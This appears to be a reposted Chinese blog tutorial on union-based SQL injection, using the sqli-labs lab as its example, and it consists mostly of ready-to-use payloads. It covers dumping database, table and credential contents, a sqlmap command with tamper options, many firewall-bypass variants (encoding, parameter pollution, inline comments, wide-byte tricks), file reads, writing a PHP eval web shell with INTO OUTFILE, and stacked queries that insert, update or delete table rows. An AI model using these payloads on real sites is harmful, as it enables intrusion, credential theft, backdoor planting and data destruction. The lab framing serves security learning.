sql注入雜談(一)--union select


我就簡單說說我對於聯合注入的想法,以及對於聯合注入繞過防火牆的方法,(只是我自己目前所掌握的方法,當然更多奇淫技巧還的需要我們自己去發掘)對於我們才學習安全的人來說,對於練習sql注入,我們學習最簡單的語法就是sql注入之聯合注入。

就拿sqli-labs來說說吧127.0.0.1/less-1/?id=1

我們的教程里面就說127.0.0.1/less-1/?id=1' 加上單引號,看爆不爆錯,如果報錯了可能存在sql注入,因為當我們127.0.0.1/less-1/?id=1這樣提交時,系統會自動加上單引號,就像這樣127.0.0.1/less-1/?id='1',但是由於我們又加了單引號,就形成這樣127.0.0.1/less-1/?id='1'',所以就會報錯,這說明什么,說明系統把我們的單引號帶入系統查詢了,所以會存在報錯。

然后教程就說第二步,(1)127.0.0.1/less-1/?id=1' order by 2--+    (2)127.0.0.1/less-1/?id=1' order by 3--+      (3)127.0.0.1/less-1/?id=1' order by 4--+我相信大家一定不會陌生,假如有3個字段,那么1和2不會報錯,3就會報錯,那么我們就可以篤定他有3個字段,所以,我們接下來就可以進行我們的第三步,union select,對了,在此之前,我一直搞不懂為何后面要加注釋,后來才明白,我們不加注釋,提交的語句為127.0.0.1/less-1/?id='1' order by 3' 這樣就會報錯,但是加了注釋,提交的語句就是這樣127.0.0.1/less-1/?id='1' order by 3#',后面的單引號就被注釋掉了,就沒有問題

然后我們就來到了教程的第三步127.0.0.1/less-1/?id=-1' union select 1,2,user()--+然后運用聯合注入查看用戶,database()數據庫,@@datadir數據庫的地址等等,然后我們就可以爆數據庫的庫名127.0.0.1/less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

127.0.0.1/less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"    爆security的表名

127.0.0.1/less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"   爆users表的字段名

127.0.0.1/less-1/?id=-1' union select 1,group_concat(username,0x7C,password),3 from users--+   然后讀取表的字段內容,

可能有的講師講的比較深,要說limit,然后sql注入再講幾個簡單的繞waf,就過去了,初學就覺得,流啤的很,TM出數據了,好屌,其實當我們實操的時候,會發現,我們的union select根本就沒有用,最后還是靠sqlmap -u xxx --batch --level=3 --risk=3 --hex --tamper="space2randomblank.py" --batch --current-db,如果沒有跑出來,然后我們就想到用burpsuit抓包,然后post注入,如果這樣還搞不定,那么我們就放棄了(我是這樣跌跌撞撞走過來的,哈哈)

今天我就說說我的一些經驗吧!雖然也不多,在大牛面前看起來也就那樣,但還是分享跟那些才學安全的朋友。

首先我們看一個網站是否存在注入點,別一來就加單引號,因為某些敏感的網站,你加了單引號,你的ip直接被ban了,比如

  http://127.0.0.1/sql/Less-1/?id=1-1    http://127.0.0.1/sql/Less-1/?id=1 看這2個回顯的長度,用burpsuit看length,這是基於數字型的

  http://127.0.0.1/sql/Less-1/?id=1'-'1   http://127.0.0.1/sql/Less-1/?id=1'-'0     這是基於字符串型的

如果是空數據類型的 http://127.0.0.1/sql/Less-1/?id=1-exp(11111)    這樣判斷

 

 如若大家想用 and 1=1,我建議不要這樣,因為現在大部分網站都會攔截,我們可以1%2b1=2  1%2b1>1   這樣判斷

這些說完了,我就來說說基於union select的繞過方法

1.網上也有很多,大小寫繞過,UNIunionON SELselectECT關鍵字替換繞過,但是對於很多網站,這個已經不怎么實用了。

2.其次是編碼以及服務器的解析(包括參數污染)

基於iis+asp的容器:   s%u0065lect->select        s%u00f0lect->select      %U%N%I%O%N      //這3種方法繞過

3.然后是是參數解析錯誤繞過: http://127.0.0.1/sql/Less-1/?id=1&id=-2' union select 1,user(),3--+

                 http://127.0.0.1/sql/Less-1/?id=-1+div+0' union select 1,2,user()--+

4.然后如果某些網站支持二次解析url編碼:  /**/ = %2F%2A%2A%2F == %25%32%46%25%32%41%25%32%41%25%32%46

5.然后利用hpp參數污染繞過

  http://127.0.0.1/sql/Less-1/?id=1 /*&id=-1'union select 1,user(),3 -- +*/       //利用hpp參數污染

  http://127.0.0.1/sql/Less-1/?id=-1' and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version()--+       //利用垃圾文件繞過

6.接下來就是內聯注釋繞過

  union/*!/*!50000select*/       //網上說是版本號,但是我在我的less1里面10000~50000都可行,大家也可以用burpsuit遍歷看長度

  union/*!/**/%0aselect*/     //%0a是換行                +UnIoN/**/SeLecT/**/1,2,user()                        un/**/ion se/**/lect          /**/union/*/select/**/

  /*!40000 order*/ by 4--+         order /*!40000by*/ 4 --+

7.加入特殊字符

  union %23%0aall     //%23是注釋,%0A是換行,相當於把注釋換到下一行          union -- 1%0a select             +union+select+1,user(),3--+

  union(select 1,2,user())--+             +uni%0bon+se%0blect+1,2,user()--+        

8.系統函數被過濾

  1.列如我們的user()函數被過濾怎么辦

  user/**/(/**/)     //利用內聯注釋繞過    還可以user/*!50000*/(/**/)

  user/*!50000*/%23%0a(/**/)           //利用注釋換行繞過

  `user`%0a()              //利用反引號繞過+換行繞過

  2.information_schema.schemata被過濾

  `information_schema`.`schemata `                `information_schema`.schemata                    information_schema.`schemata `                  //反引號3連

  information_schema/**/.schemata                  information_schema/*!*/.schemata               information_schema/*!50000*/.schemata       //內聯注釋3連

  information_schema%0a.schemata               (information_schema.schemata)                   //特殊符號繞過

9.寫文件,讀文件  

  union select 1,load_file('C:/Users/Desktop/c.txt'),3--+     //讀文件(當然需要權限),用16進制轉字符串
  union select 1,2,"<?php @eval($_POST[a]);?>" into outfile "C:/Desktop/b.txt"--+      //寫文件
  union select 1,2,"<?php @eval($_POST[a]);?>" into dumpfile "D:/3.php"--+      //寫文件

  針對於寫讀文件的繞過

  union select 1,hex(load_file(0x433A2F55736572732F415355532F4465736B746F702F632E747874)),3--+  

  union select 1,load_file(char(99,58,47,98,101,111,116,76,105,114,105)),3--+   //可以使用hex編碼和char編碼來繞過,當然前面的union select也可以用前面的方法繞過

10.寬字節注入
有些時候我們對網站sql注入的時候,會發現加上單引號會被/‘斜杠加單引號套餐伺候,這個時候我們就需要運用寬字節注入,當然你的%df,你的寬字節的ascii碼必須要大於128,才能使與/變成一個漢字。
  127.0.0.1/less-1/?id=-1%df’ union select 1,2,version()–+這樣,如果%df被攔截了
  %EF%BF%BD%27union%20select%201,user(),3–+ 可以這樣

11.其他(比如我們的注釋–+無法注釋后面的單引號)
  union select 1,user(),3 and ‘1’%2b’1’='2 這樣繞過,=也可以變為%3D
  也可以union select 1,user(),3 and ‘2’ >'1  >也可以變為%3E

 

12堆疊查詢
127.0.0.1/less-1/?id=1’;insert into users values (‘8’,‘xinxin’,‘shuai’)–+ //增加一條數據,當然得有權限,這些都是配合POST注入,舉個例子(基於lcamry的注入天書)
比如我們在一個登陸界面,我們當然顯得判斷出他的閉合是什么,如若是單引號,我們就輸入payload
uname=admin&passwd=c’;insert into users values (‘8’,‘xinxin’,‘shuai’)#&submit=Submit //我們直接加數據進去,當然前提的有權限
然后就是刪;
delete from guest where id =7 or 1=2–+ 這個的慎用,記住,or后面必須是錯誤語句,否則表TM全刪了。
;delete from guest where id =7 or 1=1–+ (這個就是以后別人送飯到手了)
;UPDATE guest SET firstname=‘akak’ WHERE id=3–+ //這個是改

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM